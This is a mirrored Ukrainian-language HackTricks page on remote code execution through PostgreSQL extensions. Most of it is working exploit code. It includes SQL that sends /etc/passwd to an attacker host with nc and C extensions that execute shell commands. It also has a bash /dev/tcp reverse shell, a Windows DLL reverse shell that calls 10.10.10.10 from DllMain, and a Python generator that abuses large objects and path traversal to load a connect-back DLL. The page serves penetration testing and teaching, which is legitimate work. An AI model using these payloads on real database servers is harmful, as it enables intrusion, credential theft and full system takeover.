mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
353 lines
19 KiB
Markdown
353 lines
19 KiB
Markdown
# RCE з розширеннями PostgreSQL
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Розширення PostgreSQL
|
||
|
||
PostgreSQL було розроблено з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення так, ніби це вбудовані функціональності. Ці розширення, по суті, бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.
|
||
|
||
З версії 8.1 і далі на бібліотеки розширень накладається специфічна вимога: їх потрібно компілювати з особливим заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних і потенційно безпечних розширень.
|
||
|
||
Також пам'ятайте, що **якщо ви не знаєте, як** [**завантажити файли на жертву, зловживаючи PostgreSQL, вам слід прочитати цей пост.**](big-binary-files-upload-postgresql.md)
|
||
|
||
### RCE в Linux
|
||
|
||
**Для отримання додаткової інформації перегляньте: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||
|
||
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументовано і є простим. Це можливо за допомогою: [модуля Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||
|
||
# You can also create functions to open and write files
|
||
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
|
||
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
|
||
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
|
||
```
|
||
<details>
|
||
|
||
<summary>Записати бінарний файл з base64</summary>
|
||
|
||
Щоб записати бінарний файл у postgres, вам може знадобитися використовувати base64, це буде корисно для цього:
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||
$$
|
||
DECLARE
|
||
fh int;
|
||
s int;
|
||
w bytea;
|
||
i int;
|
||
BEGIN
|
||
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
||
|
||
IF fh <= 2 THEN
|
||
RETURN 1;
|
||
END IF;
|
||
|
||
SELECT decode(s, 'base64') INTO w;
|
||
|
||
i := 0;
|
||
LOOP
|
||
EXIT WHEN i >= octet_length(w);
|
||
|
||
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
||
|
||
IF rs < 0 THEN
|
||
RETURN 2;
|
||
END IF;
|
||
|
||
i := i + 1;
|
||
END LOOP;
|
||
|
||
SELECT close(fh) INTO rs;
|
||
|
||
RETURN 0;
|
||
|
||
END;
|
||
$$ LANGUAGE 'plpgsql';
|
||
```
|
||
</details>
|
||
|
||
Однак, при спробі на більших версіях **була показана наступна помилка**:
|
||
```c
|
||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||
```
|
||
Ця помилка пояснена в [документації PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||
|
||
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажений у несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з файлів виходу модуля, після того як ви включили заголовок fmgr.h:
|
||
>
|
||
> `#ifdef PG_MODULE_MAGIC`\
|
||
> `PG_MODULE_MAGIC;`\
|
||
> `#endif`
|
||
|
||
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна містити специфічний "магічний блок". Цей захід значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
|
||
|
||
#### Скомпілюйте бібліотеку
|
||
|
||
Отримайте версію PsotgreSQL за допомогою:
|
||
```sql
|
||
SELECT version();
|
||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||
```
|
||
Для сумісності важливо, щоб основні версії збігалися. Тому компіляція бібліотеки з будь-якою версією в серії 9.6.x повинна забезпечити успішну інтеграцію.
|
||
|
||
Щоб встановити цю версію у вашій системі:
|
||
```bash
|
||
apt install postgresql postgresql-server-dev-9.6
|
||
```
|
||
І скомпілюйте бібліотеку:
|
||
```c
|
||
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||
#include <string.h>
|
||
#include "postgres.h"
|
||
#include "fmgr.h"
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
PG_FUNCTION_INFO_V1(pg_exec);
|
||
Datum pg_exec(PG_FUNCTION_ARGS) {
|
||
char* command = PG_GETARG_CSTRING(0);
|
||
PG_RETURN_INT32(system(command));
|
||
}
|
||
```
|
||
Потім завантажте скомпільовану бібліотеку та виконайте команди за допомогою:
|
||
```bash
|
||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||
#Notice the double single quotes are needed to scape the qoutes
|
||
```
|
||
Ви можете знайти цю **бібліотеку попередньо скомпільованою** для кількох різних версій PostgreSQL і навіть можете **автоматизувати цей процес** (якщо у вас є доступ до PostgreSQL) за допомогою:
|
||
|
||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||
|
||
### RCE в Windows
|
||
|
||
Наступний DLL приймає на вхід **ім'я бінарного файлу** та **кількість** **разів**, які ви хочете його виконати, і виконує його:
|
||
```c
|
||
#include "postgres.h"
|
||
#include <string.h>
|
||
#include "fmgr.h"
|
||
#include "utils/geo_decls.h"
|
||
#include <stdio.h>
|
||
#include "utils/builtins.h"
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
/* Add a prototype marked PGDLLEXPORT */
|
||
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
|
||
PG_FUNCTION_INFO_V1(pgsql_exec);
|
||
|
||
/* this function launches the executable passed in as the first parameter
|
||
in a FOR loop bound by the second parameter that is also passed*/
|
||
Datum
|
||
pgsql_exec(PG_FUNCTION_ARGS)
|
||
{
|
||
/* convert text pointer to C string */
|
||
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
||
|
||
/* retrieve the second argument that is passed to the function (an integer)
|
||
that will serve as our counter limit*/
|
||
|
||
int instances = PG_GETARG_INT32(1);
|
||
|
||
for (int c = 0; c < instances; c++) {
|
||
/*launch the process passed in the first parameter*/
|
||
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||
}
|
||
PG_RETURN_VOID();
|
||
}
|
||
```
|
||
Ви можете знайти скомпільований DLL у цьому zip:
|
||
|
||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||
|
||
Ви можете вказати цьому DLL **який бінар виконати** і кількість разів, щоб його виконати, у цьому прикладі він виконає `calc.exe` 2 рази:
|
||
```bash
|
||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||
SELECT remote_exec('calc.exe', 2);
|
||
DROP FUNCTION remote_exec(text, integer);
|
||
```
|
||
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-оболонку:
|
||
```c
|
||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||
|
||
#include "postgres.h"
|
||
#include <string.h>
|
||
#include "fmgr.h"
|
||
#include "utils/geo_decls.h"
|
||
#include <winsock2.h>
|
||
|
||
#pragma comment(lib,"ws2_32")
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
#pragma warning(push)
|
||
#pragma warning(disable: 4996)
|
||
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||
|
||
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
||
_In_ DWORD fdwReason,
|
||
_In_ LPVOID lpvReserved)
|
||
{
|
||
WSADATA wsaData;
|
||
SOCKET wsock;
|
||
struct sockaddr_in server;
|
||
char ip_addr[16];
|
||
STARTUPINFOA startupinfo;
|
||
PROCESS_INFORMATION processinfo;
|
||
|
||
char *program = "cmd.exe";
|
||
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
||
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
||
|
||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
||
IPPROTO_TCP, NULL, 0, 0);
|
||
|
||
struct hostent *host;
|
||
host = gethostbyname(ip);
|
||
strcpy_s(ip_addr, sizeof(ip_addr),
|
||
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
||
|
||
server.sin_family = AF_INET;
|
||
server.sin_port = htons(port);
|
||
server.sin_addr.s_addr = inet_addr(ip_addr);
|
||
|
||
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
||
NULL, NULL, NULL, NULL);
|
||
|
||
memset(&startupinfo, 0, sizeof(startupinfo));
|
||
startupinfo.cb = sizeof(startupinfo);
|
||
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
||
startupinfo.hStdInput = startupinfo.hStdOutput =
|
||
startupinfo.hStdError = (HANDLE)wsock;
|
||
|
||
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
||
NULL, NULL, &startupinfo, &processinfo);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
#pragma warning(pop) /* re-enable 4996 */
|
||
|
||
/* Add a prototype marked PGDLLEXPORT */
|
||
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
||
|
||
PG_FUNCTION_INFO_V1(add_one);
|
||
|
||
Datum dummy_function(PG_FUNCTION_ARGS)
|
||
{
|
||
int32 arg = PG_GETARG_INT32(0);
|
||
|
||
PG_RETURN_INT32(arg + 1);
|
||
}
|
||
```
|
||
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** виконає **зворотний шелл**:
|
||
```c
|
||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||
```
|
||
The [PolyUDF project](https://github.com/rop-la/PolyUDF) також є хорошою відправною точкою з повним проектом MS Visual Studio та готовою до використання бібліотекою (включаючи: _command eval_, _exec_ та _cleanup_) з підтримкою кількох версій.
|
||
|
||
### RCE в нових версіях Prostgres
|
||
|
||
У **останніх версіях** PostgreSQL накладено обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних директорій, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на \*nix системах. Ці директорії **захищені** від операцій запису як для облікових записів NETWORK\_SERVICE, так і для postgres.
|
||
|
||
Незважаючи на ці обмеження, аутентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у директорію `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
|
||
|
||
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по директоріях** у директорію даних. Відповідно, аутентифікований атакуючий може **використати цей перехід** для запису файлу спільної бібліотеки у директорію даних, а потім **завантажити його**. Цей експлойт дозволяє атакуючому виконувати довільний код, досягаючи виконання нативного коду на системі.
|
||
|
||
#### Потік атаки
|
||
|
||
Перш за все, вам потрібно **використати великі об'єкти для завантаження dll**. Ви можете побачити, як це зробити тут:
|
||
|
||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||
{% endcontent-ref %}
|
||
|
||
Як тільки ви завантажили розширення (з назвою poc.dll для цього прикладу) у директорію даних, ви можете завантажити його за допомогою:
|
||
```c
|
||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||
select connect_back('192.168.100.54', 1234);
|
||
```
|
||
_Зверніть увагу, що вам не потрібно додавати розширення `.dll`, оскільки функція створення додасть його._
|
||
|
||
Для отримання додаткової інформації **прочитайте**[ **оригінальну публікацію тут**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||
У цій публікації **був** [**код, використаний для генерації розширення postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\
|
||
На тій же сторінці був наданий цей **експлойт для автоматизації** цієї техніки:
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import sys
|
||
|
||
if len(sys.argv) != 4:
|
||
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
||
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
||
sys.exit(1)
|
||
|
||
host = sys.argv[1]
|
||
port = int(sys.argv[2])
|
||
lib = sys.argv[3]
|
||
with open(lib, "rb") as dll:
|
||
d = dll.read()
|
||
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
||
for i in range(0, len(d)//2048):
|
||
start = i * 2048
|
||
end = (i+1) * 2048
|
||
if i == 0:
|
||
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
||
else:
|
||
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
||
if (len(d) % 2048) != 0:
|
||
end = (i+1) * 2048
|
||
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
||
|
||
sql += "select lo_export(1337, 'poc.dll');"
|
||
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
||
sql += "select connect_back('%s', %d);" % (host, port)
|
||
print("(+) building poc.sql file")
|
||
with open("poc.sql", "w") as sqlfile:
|
||
sqlfile.write(sql)
|
||
print("(+) run poc.sql in PostgreSQL using the superuser")
|
||
print("(+) for a db cleanup only, run the following sql:")
|
||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||
print(" drop function connect_back(text, integer);")
|
||
```
|
||
## Посилання
|
||
|
||
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|